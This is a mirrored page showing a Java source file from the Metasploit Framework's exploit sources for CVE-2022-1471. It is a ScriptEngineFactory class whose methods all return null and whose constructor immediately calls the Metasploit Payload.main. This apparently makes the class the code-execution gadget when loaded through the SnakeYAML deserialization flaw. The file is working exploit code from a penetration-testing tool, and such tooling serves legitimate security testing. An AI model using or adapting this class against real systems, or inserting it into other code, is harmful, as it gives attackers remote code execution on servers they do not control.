Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java
21367 views
1
// javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java
2
import javax.script.ScriptEngine;
3
import javax.script.ScriptEngineFactory;
4
import java.io.IOException;
5
import java.util.List;
6
import metasploit.*;
7
8
public class MyScriptEngineFactory implements ScriptEngineFactory {
9
public MyScriptEngineFactory() throws Exception {
10
Payload.main(null);
11
}
12
13
@Override
14
public String getEngineName() {
15
return null;
16
}
17
18
@Override
19
public String getEngineVersion() {
20
return null;
21
}
22
23
@Override
24
public List<String> getExtensions() {
25
return null;
26
}
27
28
@Override
29
public List<String> getMimeTypes() {
30
return null;
31
}
32
33
@Override
34
public List<String> getNames() {
35
return null;
36
}
37
38
@Override
39
public String getLanguageName() {
40
return null;
41
}
42
43
@Override
44
public String getLanguageVersion() {
45
return null;
46
}
47
48
@Override
49
public Object getParameter(String key) {
50
return null;
51
}
52
53
@Override
54
public String getMethodCallSyntax(String obj, String m, String... args) {
55
return null;
56
}
57
58
@Override
59
public String getOutputStatement(String toDisplay) {
60
return null;
61
}
62
63
@Override
64
public String getProgram(String... statements) {
65
return null;
66
}
67
68
@Override
69
public ScriptEngine getScriptEngine() {
70
return null;
71
}
72
}
73
74